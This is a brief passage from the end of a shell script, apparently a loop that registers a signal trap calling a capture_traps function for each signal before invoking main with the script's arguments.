	trap_cmd="trap \"capture_traps ${f}\" \"${f}\""
	eval "${trap_cmd}"
done

main "$@"
